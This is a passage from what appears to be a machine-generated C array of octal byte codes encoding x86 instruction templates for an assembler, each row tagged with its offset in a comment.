/* 22756 */ 0240,0201,041,0317,01,0341,0110,0,
/* 22764 */ 0241,0201,045,0317,01,0341,0120,0,
/* 22772 */ 0240,0201,045,0317,01,0341,0110,0,
/* 22780 */ 0241,0201,051,0317,01,0341,0120,0,
/* 22788 */ 0240,0201,051,0317,01,0341,0110,0,
/* 22796 */ 0241,0201,01,0317,01,0322,0120,0,
/* 22804 */ 0240,0201,01,0317,01,0322,0110,0,
/* 22812 */ 0241,0201,05,0317,01,0322,0120,0,
/* 22820 */ 0240,0201,05,0317,01,0322,0110,0,
/* 22828 */ 0241,0201,011,0317,01,0322,0120,0,
/* 22836 */ 0240,0201,011,0317,01,0322,0110,0,
/* 22844 */ 0241,0201,021,0317,01,0323,0120,0,
/* 22852 */ 0240,0201,021,0317,01,0323,0110,0,
/* 22860 */ 0241,0201,025,0317,01,0323,0120,0,
/* 22868 */ 0240,0201,025,0317,01,0323,0110,0,
/* 22876 */ 0241,0201,031,0317,01,0323,0120,0,
/* 22884 */ 0240,0201,031,0317,01,0323,0110,0,
/* 22892 */ 0241,0202,01,0301,01,0105,0120,0,
/* 22900 */ 0240,0202,01,0301,01,0105,0110,0,
/* 22908 */ 0241,0202,05,0301,01,0105,0120,0,
/* 22916 */ 0240,0202,05,0301,01,0105,0110,0,
/* 22924 */ 0241,0202,011,0301,01,0105,0120,0,
/* 22932 */ 0240,0202,011,0301,01,0105,0110,0,
/* 22940 */ 0241,0202,021,0301,01,0105,0120,0,
/* 22948 */ 0240,0202,021,0301,01,0105,0110,0,
/* 22956 */ 0241,0202,025,0301,01,0105,0120,0,
/* 22964 */ 0240,0202,025,0301,01,0105,0110,0,
/* 22972 */ 0241,0202,031,0301,01,0105,0120,0,
/* 22980 */ 0240,0202,031,0301,01,0105,0110,0,
/* 22988 */ 0241,0202,021,0303,01,020,0120,0,
/* 22996 */ 0240,0202,021,0303,01,020,0110,0,
/* 23004 */ 0241,0202,025,0303,01,020,0120,0,
/* 23012 */ 0240,0202,025,0303,01,020,0110,0,
/* 23020 */ 0241,0202,031,0303,01,020,0120,0,
/* 23028 */ 0240,0202,031,0303,01,020,0110,0,
/* 23036 */ 0241,0201,041,0317,01,0321,0120,0,
/* 23044 */ 0240,0201,041,0317,01,0321,0110,0,
/* 23052 */ 0241,0201,045,0317,01,0321,0120,0,
/* 23060 */ 0240,0201,045,0317,01,0321,0110,0,
/* 23068 */ 0241,0201,051,0317,01,0321,0120,0,
/* 23076 */ 0240,0201,051,0317,01,0321,0110,0,
/* 23084 */ 0241,0201,041,0303,01,0370,0120,0,
/* 23092 */ 0240,0201,041,0303,01,0370,0110,0,
/* 23100 */ 0241,0201,045,0303,01,0370,0120,0,
/* 23108 */ 0240,0201,045,0303,01,0370,0110,0,
/* 23116 */ 0241,0201,051,0303,01,0370,0120,0,
/* 23124 */ 0240,0201,051,0303,01,0370,0110,0,
/* 23132 */ 0241,0201,01,0301,01,0372,0120,0,
/* 23140 */ 0240,0201,01,0301,01,0372,0110,0,
/* 23148 */ 0241,0201,05,0301,01,0372,0120,0,
/* 23156 */ 0240,0201,05,0301,01,0372,0110,0,
/* 23164 */ 0241,0201,011,0301,01,0372,0120,0,
/* 23172 */ 0240,0201,011,0301,01,0372,0110,0,
/* 23180 */ 0241,0201,021,0301,01,0373,0120,0,
/* 23188 */ 0240,0201,021,0301,01,0373,0110,0,
/* 23196 */ 0241,0201,025,0301,01,0373,0120,0,
/* 23204 */ 0240,0201,025,0301,01,0373,0110,0,
/* 23212 */ 0241,0201,031,0301,01,0373,0120,0,
/* 23220 */ 0240,0201,031,0301,01,0373,0110,0,
/* 23228 */ 0241,0201,041,0303,01,0350,0120,0,
/* 23236 */ 0240,0201,041,0303,01,0350,0110,0,
/* 23244 */ 0241,0201,045,0303,01,0350,0120,0,
/* 23252 */ 0240,0201,045,0303,01,0350,0110,0,
/* 23260 */ 0241,0201,051,0303,01,0350,0120,0,
/* 23268 */ 0240,0201,051,0303,01,0350,0110,0,
/* 23276 */ 0241,0201,041,0303,01,0351,0120,0,
/* 23284 */ 0240,0201,041,0303,01,0351,0110,0,
/* 23292 */ 0241,0201,045,0303,01,0351,0120,0,
/* 23300 */ 0240,0201,045,0303,01,0351,0110,0,
/* 23308 */ 0241,0201,051,0303,01,0351,0120,0,
/* 23316 */ 0240,0201,051,0303,01,0351,0110,0,
/* 23324 */ 0241,0201,041,0303,01,0330,0120,0,
/* 23332 */ 0240,0201,041,0303,01,0330,0110,0,
/* 23340 */ 0241,0201,045,0303,01,0330,0120,0,
/* 23348 */ 0240,0201,045,0303,01,0330,0110,0,
/* 23356 */ 0241,0201,051,0303,01,0330,0120,0,
/* 23364 */ 0240,0201,051,0303,01,0330,0110,0,
/* 23372 */ 0241,0201,041,0303,01,0331,0120,0,
/* 23380 */ 0240,0201,041,0303,01,0331,0110,0,
/* 23388 */ 0241,0201,045,0303,01,0331,0120,0,
/* 23396 */ 0240,0201,045,0303,01,0331,0110,0,
/* 23404 */ 0241,0201,051,0303,01,0331,0120,0,
/* 23412 */ 0240,0201,051,0303,01,0331,0110,0,
/* 23420 */ 0241,0201,041,0303,01,0371,0120,0,
/* 23428 */ 0240,0201,041,0303,01,0371,0110,0,
/* 23436 */ 0241,0201,045,0303,01,0371,0120,0,
/* 23444 */ 0240,0201,045,0303,01,0371,0110,0,
/* 23452 */ 0241,0201,051,0303,01,0371,0120,0,
/* 23460 */ 0240,0201,051,0303,01,0371,0110,0,
/* 23468 */ 0241,0202,01,0303,01,046,0120,0,
/* 23476 */ 0241,0202,05,0303,01,046,0120,0,
/* 23484 */ 0241,0202,011,0303,01,046,0120,0,
/* 23492 */ 0241,0202,01,0301,01,047,0120,0,
/* 23500 */ 0241,0202,05,0301,01,047,0120,0,
/* 23508 */ 0241,0202,011,0301,01,047,0120,0,
/* 23516 */ 0241,0202,021,0301,01,047,0120,0,
/* 23524 */ 0241,0202,025,0301,01,047,0120,0,
/* 23532 */ 0241,0202,031,0301,01,047,0120,0,
/* 23540 */ 0241,0202,021,0303,01,046,0120,0,
/* 23548 */ 0241,0202,025,0303,01,046,0120,0,
/* 23556 */ 0241,0202,031,0303,01,046,0120,0,
/* 23564 */ 0241,0202,02,0303,01,046,0120,0,
/* 23572 */ 0241,0202,06,0303,01,046,0120,0,
/* 23580 */ 0241,0202,012,0303,01,046,0120,0,
/* 23588 */ 0241,0202,02,0301,01,047,0120,0,
/* 23596 */ 0241,0202,06,0301,01,047,0120,0,
/* 23604 */ 0241,0202,012,0301,01,047,0120,0,
/* 23612 */ 0241,0202,022,0301,01,047,0120,0,
/* 23620 */ 0241,0202,026,0301,01,047,0120,0,
/* 23628 */ 0241,0202,032,0301,01,047,0120,0,
/* 23636 */ 0241,0202,022,0303,01,046,0120,0,
/* 23644 */ 0241,0202,026,0303,01,046,0120,0,
/* 23652 */ 0241,0202,032,0303,01,046,0120,0,
/* 23660 */ 0241,0201,041,0303,01,0150,0120,0,
/* 23668 */ 0240,0201,041,0303,01,0150,0110,0,
/* 23676 */ 0241,0201,045,0303,01,0150,0120,0,
/* 23684 */ 0240,0201,045,0303,01,0150,0110,0,
/* 23692 */ 0241,0201,051,0303,01,0150,0120,0,
/* 23700 */ 0240,0201,051,0303,01,0150,0110,0,
/* 23708 */ 0241,0201,01,0301,01,0152,0120,0,
/* 23716 */ 0240,0201,01,0301,01,0152,0110,0,
/* 23724 */ 0241,0201,05,0301,01,0152,0120,0,
/* 23732 */ 0240,0201,05,0301,01,0152,0110,0,
/* 23740 */ 0241,0201,011,0301,01,0152,0120,0,
/* 23748 */ 0240,0201,011,0301,01,0152,0110,0,
/* 23756 */ 0241,0201,021,0301,01,0155,0120,0,
/* 23764 */ 0240,0201,021,0301,01,0155,0110,0,
/* 23772 */ 0241,0201,025,0301,01,0155,0120,0,
/* 23780 */ 0240,0201,025,0301,01,0155,0110,0,
/* 23788 */ 0241,0201,031,0301,01,0155,0120,0,
/* 23796 */ 0240,0201,031,0301,01,0155,0110,0,
/* 23804 */ 0241,0201,041,0303,01,0151,0120,0,
/* 23812 */ 0240,0201,041,0303,01,0151,0110,0,
/* 23820 */ 0241,0201,045,0303,01,0151,0120,0,
/* 23828 */ 0240,0201,045,0303,01,0151,0110,0,
/* 23836 */ 0241,0201,051,0303,01,0151,0120,0,
/* 23844 */ 0240,0201,051,0303,01,0151,0110,0,
/* 23852 */ 0241,0201,041,0303,01,0140,0120,0,
/* 23860 */ 0240,0201,041,0303,01,0140,0110,0,
/* 23868 */ 0241,0201,045,0303,01,0140,0120,0,
/* 23876 */ 0240,0201,045,0303,01,0140,0110,0,
/* 23884 */ 0241,0201,051,0303,01,0140,0120,0,
/* 23892 */ 0240,0201,051,0303,01,0140,0110,0,
/* 23900 */ 0241,0201,01,0301,01,0142,0120,0,
/* 23908 */ 0240,0201,01,0301,01,0142,0110,0,
/* 23916 */ 0241,0201,05,0301,01,0142,0120,0,
/* 23924 */ 0240,0201,05,0301,01,0142,0110,0,
/* 23932 */ 0241,0201,011,0301,01,0142,0120,0,
/* 23940 */ 0240,0201,011,0301,01,0142,0110,0,
/* 23948 */ 0241,0201,021,0301,01,0154,0120,0,
/* 23956 */ 0240,0201,021,0301,01,0154,0110,0,
/* 23964 */ 0241,0201,025,0301,01,0154,0120,0,
/* 23972 */ 0240,0201,025,0301,01,0154,0110,0,
/* 23980 */ 0241,0201,031,0301,01,0154,0120,0,
/* 23988 */ 0240,0201,031,0301,01,0154,0110,0,
/* 23996 */ 0241,0201,041,0303,01,0141,0120,0,
/* 24004 */ 0240,0201,041,0303,01,0141,0110,0,
/* 24012 */ 0241,0201,045,0303,01,0141,0120,0,
/* 24020 */ 0240,0201,045,0303,01,0141,0110,0,
/* 24028 */ 0241,0201,051,0303,01,0141,0120,0,
/* 24036 */ 0240,0201,051,0303,01,0141,0110,0,
/* 24044 */ 0241,0201,01,0301,01,0357,0120,0,
/* 24052 */ 0240,0201,01,0301,01,0357,0110,0,
/* 24060 */ 0241,0201,05,0301,01,0357,0120,0,
/* 24068 */ 0240,0201,05,0301,01,0357,0110,0,
/* 24076 */ 0241,0201,011,0301,01,0357,0120,0,
/* 24084 */ 0240,0201,011,0301,01,0357,0110,0,
/* 24092 */ 0241,0201,021,0301,01,0357,0120,0,
/* 24100 */ 0240,0201,021,0301,01,0357,0110,0,
/* 24108 */ 0241,0201,025,0301,01,0357,0120,0,
/* 24116 */ 0240,0201,025,0301,01,0357,0110,0,
/* 24124 */ 0241,0201,031,0301,01,0357,0120,0,
/* 24132 */ 0240,0201,031,0301,01,0357,0110,0,
/* 24140 */ 0250,0202,021,0301,01,0114,0110,0,
/* 24148 */ 0250,0202,025,0301,01,0114,0110,0,
/* 24156 */ 0250,0202,031,0301,01,0114,0110,0,
/* 24164 */ 0250,0202,01,0301,01,0114,0110,0,
/* 24172 */ 0250,0202,05,0301,01,0114,0110,0,
/* 24180 */ 0250,0202,011,0301,01,0114,0110,0,
/* 24188 */ 0241,0202,021,0306,01,0115,0120,0,
/* 24196 */ 0240,0202,021,0306,01,0115,0110,0,
/* 24204 */ 0241,0202,01,0306,01,0115,0120,0,
/* 24212 */ 0240,0202,01,0306,01,0115,0110,0,
/* 24220 */ 0250,0202,031,0301,01,0312,0110,0,
/* 24228 */ 0250,0202,011,0301,01,0312,0110,0,
/* 24236 */ 0241,0202,021,0306,01,0313,0120,0,
/* 24244 */ 0240,0202,021,0306,01,0313,0110,0,
/* 24252 */ 0241,0202,01,0306,01,0313,0120,0,
/* 24260 */ 0240,0202,01,0306,01,0313,0110,0,
/* 24268 */ 0250,0202,021,0301,01,0116,0110,0,
/* 24276 */ 0250,0202,025,0301,01,0116,0110,0,
/* 24284 */ 0250,0202,031,0301,01,0116,0110,0,
/* 24292 */ 0250,0202,01,0301,01,0116,0110,0,
/* 24300 */ 0250,0202,05,0301,01,0116,0110,0,
/* 24308 */ 0250,0202,011,0301,01,0116,0110,0,
/* 24316 */ 0241,0202,021,0306,01,0117,0120,0,
/* 24324 */ 0240,0202,021,0306,01,0117,0110,0,
/* 24332 */ 0241,0202,01,0306,01,0117,0120,0,
/* 24340 */ 0240,0202,01,0306,01,0117,0110,0,
/* 24348 */ 0250,0202,031,0301,01,0314,0110,0,
/* 24356 */ 0250,0202,011,0301,01,0314,0110,0,
/* 24364 */ 0241,0202,021,0306,01,0315,0120,0,
/* 24372 */ 0240,0202,021,0306,01,0315,0110,0,
/* 24380 */ 0241,0202,01,0306,01,0315,0120,0,
/* 24388 */ 0240,0202,01,0306,01,0315,0110,0,
/* 24396 */ 0241,0202,021,0301,01,054,0120,0,
/* 24404 */ 0240,0202,021,0301,01,054,0110,0,
/* 24412 */ 0241,0202,025,0301,01,054,0120,0,
/* 24420 */ 0240,0202,025,0301,01,054,0110,0,
/* 24428 */ 0241,0202,031,0301,01,054,0120,0,
/* 24436 */ 0240,0202,031,0301,01,054,0110,0,
/* 24444 */ 0241,0202,01,0301,01,054,0120,0,
/* 24452 */ 0240,0202,01,0301,01,054,0110,0,
/* 24460 */ 0241,0202,05,0301,01,054,0120,0,
/* 24468 */ 0240,0202,05,0301,01,054,0110,0,
/* 24476 */ 0241,0202,011,0301,01,054,0120,0,
/* 24484 */ 0240,0202,011,0301,01,054,0110,0,
/* 24492 */ 0241,0202,021,0306,01,055,0120,0,
/* 24500 */ 0240,0202,021,0306,01,055,0110,0,
/* 24508 */ 0241,0202,01,0306,01,055,0120,0,
/* 24516 */ 0240,0202,01,0306,01,055,0110,0,
/* 24524 */ 0250,0201,021,0301,01,0121,0110,0,
/* 24532 */ 0250,0201,025,0301,01,0121,0110,0,
/* 24540 */ 0250,0201,031,0301,01,0121,0110,0,
/* 24548 */ 0250,0201,0,0301,01,0121,0110,0,
/* 24556 */ 0250,0201,04,0301,01,0121,0110,0,
/* 24564 */ 0250,0201,010,0301,01,0121,0110,0,
/* 24572 */ 0241,0201,023,0306,01,0121,0120,0,
/* 24580 */ 0240,0201,023,0306,01,0121,0110,0,
/* 24588 */ 0241,0201,02,0306,01,0121,0120,0,
/* 24596 */ 0240,0201,02,0306,01,0121,0110,0,
/* 24604 */ 0241,0201,021,0301,01,0134,0120,0,
/* 24612 */ 0240,0201,021,0301,01,0134,0110,0,
/* 24620 */ 0241,0201,025,0301,01,0134,0120,0,
/* 24628 */ 0240,0201,025,0301,01,0134,0110,0,
/* 24636 */ 0241,0201,031,0301,01,0134,0120,0,
/* 24644 */ 0240,0201,031,0301,01,0134,0110,0,
/* 24652 */ 0241,0201,0,0301,01,0134,0120,0,
/* 24660 */ 0240,0201,0,0301,01,0134,0110,0,
/* 24668 */ 0241,0201,04,0301,01,0134,0120,0,
/* 24676 */ 0240,0201,04,0301,01,0134,0110,0,
/* 24684 */ 0241,0201,010,0301,01,0134,0120,0,
/* 24692 */ 0240,0201,010,0301,01,0134,0110,0,
/* 24700 */ 0241,0201,023,0306,01,0134,0120,0,
/* 24708 */ 0240,0201,023,0306,01,0134,0110,0,
/* 24716 */ 0241,0201,02,0306,01,0134,0120,0,
/* 24724 */ 0240,0201,02,0306,01,0134,0110,0,
/* 24732 */ 0250,0201,021,0306,01,056,0110,0,
/* 24740 */ 0250,0201,0,0306,01,056,0110,0,
/* 24748 */ 0241,0201,021,0301,01,025,0120,0,
/* 24756 */ 0240,0201,021,0301,01,025,0110,0,
/* 24764 */ 0241,0201,025,0301,01,025,0120,0,
/* 24772 */ 0240,0201,025,0301,01,025,0110,0,
/* 24780 */ 0241,0201,031,0301,01,025,0120,0,
/* 24788 */ 0240,0201,031,0301,01,025,0110,0,
/* 24796 */ 0241,0201,0,0301,01,025,0120,0,
/* 24804 */ 0240,0201,0,0301,01,025,0110,0,
/* 24812 */ 0241,0201,04,0301,01,025,0120,0,
/* 24820 */ 0240,0201,04,0301,01,025,0110,0,
/* 24828 */ 0241,0201,010,0301,01,025,0120,0,
/* 24836 */ 0240,0201,010,0301,01,025,0110,0,
/* 24844 */ 0241,0201,021,0301,01,024,0120,0,
/* 24852 */ 0240,0201,021,0301,01,024,0110,0,
/* 24860 */ 0241,0201,025,0301,01,024,0120,0,
/* 24868 */ 0240,0201,025,0301,01,024,0110,0,
/* 24876 */ 0241,0201,031,0301,01,024,0120,0,
/* 24884 */ 0240,0201,031,0301,01,024,0110,0,
/* 24892 */ 0241,0201,0,0301,01,024,0120,0,
/* 24900 */ 0240,0201,0,0301,01,024,0110,0,
/* 24908 */ 0241,0201,04,0301,01,024,0120,0,
/* 24916 */ 0240,0201,04,0301,01,024,0110,0,
/* 24924 */ 0241,0201,010,0301,01,024,0120,0,
/* 24932 */ 0240,0201,010,0301,01,024,0110,0,
/* 24940 */ 0241,0201,021,0301,01,0127,0120,0,
/* 24948 */ 0240,0201,021,0301,01,0127,0110,0,
/* 24956 */ 0241,0201,025,0301,01,0127,0120,0,
/* 24964 */ 0240,0201,025,0301,01,0127,0110,0,
/* 24972 */ 0241,0201,031,0301,01,0127,0120,0,
/* 24980 */ 0240,0201,031,0301,01,0127,0110,0,
/* 24988 */ 0241,0201,0,0301,01,0127,0120,0,
/* 24996 */ 0240,0201,0,0301,01,0127,0110,0,
/* 25004 */ 0241,0201,04,0301,01,0127,0120,0,
/* 25012 */ 0240,0201,04,0301,01,0127,0110,0,
/* 25020 */ 0241,0201,010,0301,01,0127,0120,0,
/* 25028 */ 0240,0201,010,0301,01,0127,0110,0,
/* 25036 */ 0310,0361,03,017,070,0370,0110,0,
/* 25044 */ 0311,0361,03,017,070,0370,0110,0,
/* 25052 */ 0313,0361,03,017,070,0370,0110,0,
/* 25060 */ 0361,03,017,072,0317,0110,022,0,
/* 25068 */ 0261,03,021,01,0317,0120,023,0,
/* 25076 */ 0260,03,021,01,0317,0110,022,0,
/* 25084 */ 0261,03,025,01,0317,0120,023,0,
/* 25092 */ 0260,03,025,01,0317,0110,022,0,
/* 25100 */ 0361,03,017,072,0316,0110,022,0,
/* 25108 */ 0261,03,021,01,0316,0120,023,0,
/* 25116 */ 0260,03,021,01,0316,0110,022,0,
/* 25124 */ 0261,03,025,01,0316,0120,023,0,
/* 25132 */ 0260,03,025,01,0316,0110,022,0,
/* 25140 */ 0241,0202,01,0303,01,0317,0120,0,
/* 25148 */ 0240,0202,01,0303,01,0317,0110,0,
/* 25156 */ 0241,0202,05,0303,01,0317,0120,0,
/* 25164 */ 0240,0202,05,0303,01,0317,0110,0,
/* 25172 */ 0241,0202,011,0303,01,0317,0120,0,
/* 25180 */ 0240,0202,011,0303,01,0317,0110,0,
/* 25188 */ 0250,0202,01,0306,01,0143,0101,0,
/* 25196 */ 0250,0202,05,0306,01,0143,0101,0,
/* 25204 */ 0250,0202,011,0306,01,0143,0101,0,
/* 25212 */ 0250,0202,01,0300,01,0143,0101,0,
/* 25220 */ 0250,0202,05,0300,01,0143,0101,0,
/* 25228 */ 0250,0202,011,0300,01,0143,0101,0,
/* 25236 */ 0250,0202,021,0306,01,0143,0101,0,
/* 25244 */ 0250,0202,025,0306,01,0143,0101,0,
/* 25252 */ 0250,0202,031,0306,01,0143,0101,0,
/* 25260 */ 0250,0202,021,0300,01,0143,0101,0,
/* 25268 */ 0250,0202,025,0300,01,0143,0101,0,
/* 25276 */ 0250,0202,031,0300,01,0143,0101,0,
/* 25284 */ 0250,0202,01,0306,01,0142,0101,0,
/* 25292 */ 0250,0202,05,0306,01,0142,0101,0,
/* 25300 */ 0250,0202,011,0306,01,0142,0101,0,
/* 25308 */ 0250,0202,01,0300,01,0142,0101,0,
/* 25316 */ 0250,0202,05,0300,01,0142,0101,0,
/* 25324 */ 0250,0202,011,0300,01,0142,0101,0,
/* 25332 */ 0250,0202,021,0306,01,0142,0101,0,
/* 25340 */ 0250,0202,025,0306,01,0142,0101,0,
/* 25348 */ 0250,0202,031,0306,01,0142,0101,0,
/* 25356 */ 0250,0202,021,0300,01,0142,0101,0,
/* 25364 */ 0250,0202,025,0300,01,0142,0101,0,
/* 25372 */ 0250,0202,031,0300,01,0142,0101,0,
/* 25380 */ 0241,0202,01,0301,01,0120,0120,0,
/* 25388 */ 0240,0202,01,0301,01,0120,0110,0,
/* 25396 */ 0241,0202,05,0301,01,0120,0120,0,
/* 25404 */ 0240,0202,05,0301,01,0120,0110,0,
/* 25412 */ 0241,0202,011,0301,01,0120,0120,0,
/* 25420 */ 0240,0202,011,0301,01,0120,0110,0,
/* 25428 */ 0241,0202,01,0301,01,0121,0120,0,
/* 25436 */ 0240,0202,01,0301,01,0121,0110,0,
/* 25444 */ 0241,0202,05,0301,01,0121,0120,0,
/* 25452 */ 0240,0202,05,0301,01,0121,0110,0,
/* 25460 */ 0241,0202,011,0301,01,0121,0120,0,
/* 25468 */ 0240,0202,011,0301,01,0121,0110,0,
/* 25476 */ 0241,0202,01,0301,01,0122,0120,0,
/* 25484 */ 0240,0202,01,0301,01,0122,0110,0,
/* 25492 */ 0241,0202,05,0301,01,0122,0120,0,
/* 25500 */ 0240,0202,05,0301,01,0122,0110,0,
/* 25508 */ 0241,0202,011,0301,01,0122,0120,0,
/* 25516 */ 0240,0202,011,0301,01,0122,0110,0,
/* 25524 */ 0241,0202,01,0301,01,0123,0120,0,
/* 25532 */ 0240,0202,01,0301,01,0123,0110,0,
/* 25540 */ 0241,0202,05,0301,01,0123,0120,0,
/* 25548 */ 0240,0202,05,0301,01,0123,0110,0,
/* 25556 */ 0241,0202,011,0301,01,0123,0120,0,
/* 25564 */ 0240,0202,011,0301,01,0123,0110,0,
/* 25572 */ 0250,0202,01,0303,01,0124,0110,0,
/* 25580 */ 0250,0202,05,0303,01,0124,0110,0,
/* 25588 */ 0250,0202,011,0303,01,0124,0110,0,
/* 25596 */ 0250,0202,021,0303,01,0124,0110,0,
/* 25604 */ 0250,0202,025,0303,01,0124,0110,0,
/* 25612 */ 0250,0202,031,0303,01,0124,0110,0,
/* 25620 */ 0250,0202,01,0301,01,0125,0110,0,
/* 25628 */ 0250,0202,05,0301,01,0125,0110,0,
/* 25636 */ 0250,0202,011,0301,01,0125,0110,0,
/* 25644 */ 0250,0202,021,0301,01,0125,0110,0,
/* 25652 */ 0250,0202,025,0301,01,0125,0110,0,
/* 25660 */ 0250,0202,031,0301,01,0125,0110,0,
/* 25668 */ 0241,0202,01,0303,01,0217,0120,0,
/* 25676 */ 0241,0202,05,0303,01,0217,0120,0,
/* 25684 */ 0241,0202,011,0303,01,0217,0120,0,
/* 25692 */ 0241,0202,013,0317,01,0232,0120,0,
/* 25700 */ 0241,0202,013,0317,01,0252,0120,0,
/* 25708 */ 0241,0202,03,0317,01,0233,0120,0,
/* 25716 */ 0241,0202,03,0317,01,0253,0120,0,
/* 25724 */ 0241,0202,013,0317,01,0123,0120,0,
/* 25732 */ 0241,0202,013,0317,01,0122,0120,0,
/* 25740 */ 0273,0320,01,0203,0202,0275,0,
/* 25747 */ 0273,0321,01,0203,0202,0275,0,
/* 25754 */ 0273,0324,01,0203,0202,0275,0,
/* 25761 */ 0273,0320,01,0201,0202,031,0,
/* 25768 */ 0273,0321,01,0201,0202,041,0,
/* 25775 */ 0273,0324,01,0201,0202,0255,0,
/* 25782 */ 0273,0320,01,0203,0200,0275,0,
/* 25789 */ 0273,0321,01,0203,0200,0275,0,
/* 25796 */ 0273,0324,01,0203,0200,0275,0,
/* 25803 */ 0273,0320,01,0201,0200,031,0,
/* 25810 */ 0273,0321,01,0201,0200,041,0,
/* 25817 */ 0273,0324,01,0201,0200,0255,0,
/* 25824 */ 0273,0320,01,0203,0204,0275,0,
/* 25831 */ 0273,0321,01,0203,0204,0275,0,
/* 25838 */ 0273,0324,01,0203,0204,0275,0,
/* 25845 */ 0273,0320,01,0201,0204,031,0,
/* 25852 */ 0273,0321,01,0201,0204,041,0,
/* 25859 */ 0273,0324,01,0201,0204,0255,0,
/* 25866 */ 0320,0326,02,017,0274,0110,0,
/* 25873 */ 0321,0326,02,017,0274,0110,0,
/* 25880 */ 0324,0326,02,017,0274,0110,0,
/* 25887 */ 0320,0326,02,017,0275,0110,0,
/* 25894 */ 0321,0326,02,017,0275,0110,0,
/* 25901 */ 0324,0326,02,017,0275,0110,0,
/* 25908 */ 0320,02,017,0272,0204,025,0,
/* 25915 */ 0321,02,017,0272,0204,025,0,
/* 25922 */ 0324,02,017,0272,0204,025,0,
/* 25929 */ 0273,0320,02,017,0273,0101,0,
/* 25936 */ 0273,0321,02,017,0273,0101,0,
/* 25943 */ 0273,0324,02,017,0273,0101,0,
/* 25950 */ 0273,0320,02,017,0263,0101,0,
/* 25957 */ 0273,0321,02,017,0263,0101,0,
/* 25964 */ 0273,0324,02,017,0263,0101,0,
/* 25971 */ 0273,0320,02,017,0253,0101,0,
/* 25978 */ 0273,0321,02,017,0253,0101,0,
/* 25985 */ 0273,0324,02,017,0253,0101,0,
/* 25992 */ 0273,0320,02,017,0261,0101,0,
/* 25999 */ 0273,0321,02,017,0261,0101,0,
/* 26006 */ 0273,0324,02,017,0261,0101,0,
/* 26013 */ 0273,0317,02,017,0307,0201,0,
/* 26020 */ 0361,03,017,070,0202,0110,0,
/* 26027 */ 0323,0313,03,017,01,0337,0,
/* 26034 */ 0320,0323,02,017,02,0110,0,
/* 26041 */ 0321,0323,02,017,02,0110,0,
/* 26048 */ 0320,0323,02,017,03,0110,0,
/* 26055 */ 0321,0323,02,017,03,0110,0,
/* 26062 */ 0271,0320,01,0307,0200,031,0,
/* 26069 */ 0271,0321,01,0307,0200,041,0,
/* 26076 */ 0271,0324,01,0307,0200,0255,0,
/* 26083 */ 0360,0324,02,017,0156,0110,0,
/* 26090 */ 0360,0324,02,017,0176,0101,0,
/* 26097 */ 0273,0320,01,0203,0201,0275,0,
/* 26104 */ 0273,0321,01,0203,0201,0275,0,
/* 26111 */ 0273,0324,01,0203,0201,0275,0,
/* 26118 */ 0273,0320,01,0201,0201,031,0,
/* 26125 */ 0273,0321,01,0201,0201,041,0,
/* 26132 */ 0273,0324,01,0201,0201,0255,0,
/* 26139 */ 0360,0323,02,017,0153,0110,0,
/* 26146 */ 0360,0323,02,017,0143,0110,0,
/* 26153 */ 0360,0323,02,017,0147,0110,0,
/* 26160 */ 0360,0323,02,017,0374,0110,0,
/* 26167 */ 0360,0323,02,017,0376,0110,0,
/* 26174 */ 0360,0323,02,017,0354,0110,0,
/* 26181 */ 0360,0323,02,017,0355,0110,0,
/* 26188 */ 0360,0323,02,017,0334,0110,0,
/* 26195 */ 0360,0323,02,017,0335,0110,0,
/* 26202 */ 0360,0323,02,017,0375,0110,0,
/* 26209 */ 0360,0323,02,017,0333,0110,0,
/* 26216 */ 0360,0323,02,017,0337,0110,0,
/* 26223 */ 0360,0323,02,017,0164,0110,0,
/* 26230 */ 0360,0323,02,017,0166,0110,0,
/* 26237 */ 0360,0323,02,017,0165,0110,0,
/* 26244 */ 0360,0323,02,017,0144,0110,0,
/* 26251 */ 0360,0323,02,017,0146,0110,0,
/* 26258 */ 0360,0323,02,017,0145,0110,0,
/* 26265 */ 0360,0323,02,017,0365,0110,0,
/* 26272 */ 0360,0323,02,017,0345,0110,0,
/* 26279 */ 0360,0323,02,017,0325,0110,0,
/* 26286 */ 0360,0323,02,017,0353,0110,0,
/* 26293 */ 0360,0323,02,017,0362,0110,0,
/* 26300 */ 0360,02,017,0162,0206,025,0,
/* 26307 */ 0360,0323,02,017,0363,0110,0,
/* 26314 */ 0360,02,017,0163,0206,025,0,
/* 26321 */ 0360,0323,02,017,0361,0110,0,
/* 26328 */ 0360,02,017,0161,0206,025,0,
/* 26335 */ 0360,0323,02,017,0342,0110,0,
/* 26342 */ 0360,02,017,0162,0204,025,0,
/* 26349 */ 0360,0323,02,017,0341,0110,0,
/* 26356 */ 0360,02,017,0161,0204,025,0,
/* 26363 */ 0360,0323,02,017,0322,0110,0,
/* 26370 */ 0360,02,017,0162,0202,025,0,
/* 26377 */ 0360,0323,02,017,0323,0110,0,
/* 26384 */ 0360,02,017,0163,0202,025,0,
/* 26391 */ 0360,0323,02,017,0321,0110,0,
/* 26398 */ 0360,02,017,0161,0202,025,0,
/* 26405 */ 0360,0323,02,017,0370,0110,0,
/* 26412 */ 0360,0323,02,017,0372,0110,0,
/* 26419 */ 0360,0323,02,017,0350,0110,0,
/* 26426 */ 0360,0323,02,017,0351,0110,0,
/* 26433 */ 0360,0323,02,017,0330,0110,0,
/* 26440 */ 0360,0323,02,017,0331,0110,0,
/* 26447 */ 0360,0323,02,017,0371,0110,0,
/* 26454 */ 0360,0323,02,017,0150,0110,0,
/* 26461 */ 0360,0323,02,017,0152,0110,0,
/* 26468 */ 0360,0323,02,017,0151,0110,0,
/* 26475 */ 0360,0323,02,017,0140,0110,0,
/* 26482 */ 0360,0323,02,017,0142,0110,0,
/* 26489 */ 0360,0323,02,017,0141,0110,0,
/* 26496 */ 0360,0323,02,017,0357,0110,0,
/* 26503 */ 0273,0320,01,0203,0203,0275,0,
/* 26510 */ 0273,0321,01,0203,0203,0275,0,
/* 26517 */ 0273,0324,01,0203,0203,0275,0,
/* 26524 */ 0273,0320,01,0201,0203,031,0,
/* 26531 */ 0273,0321,01,0201,0203,041,0,
/* 26538 */ 0273,0324,01,0201,0203,0255,0,
/* 26545 */ 0320,02,017,0244,0101,026,0,
/* 26552 */ 0321,02,017,0244,0101,026,0,
/* 26559 */ 0324,02,017,0244,0101,026,0,
/* 26566 */ 0320,02,017,0254,0101,026,0,
/* 26573 */ 0321,02,017,0254,0101,026,0,
/* 26580 */ 0324,02,017,0254,0101,026,0,
/* 26587 */ 0273,0320,01,0203,0205,0275,0,
/* 26594 */ 0273,0321,01,0203,0205,0275,0,
/* 26601 */ 0273,0324,01,0203,0205,0275,0,
/* 26608 */ 0273,0320,01,0201,0205,031,0,
/* 26615 */ 0273,0321,01,0201,0205,041,0,
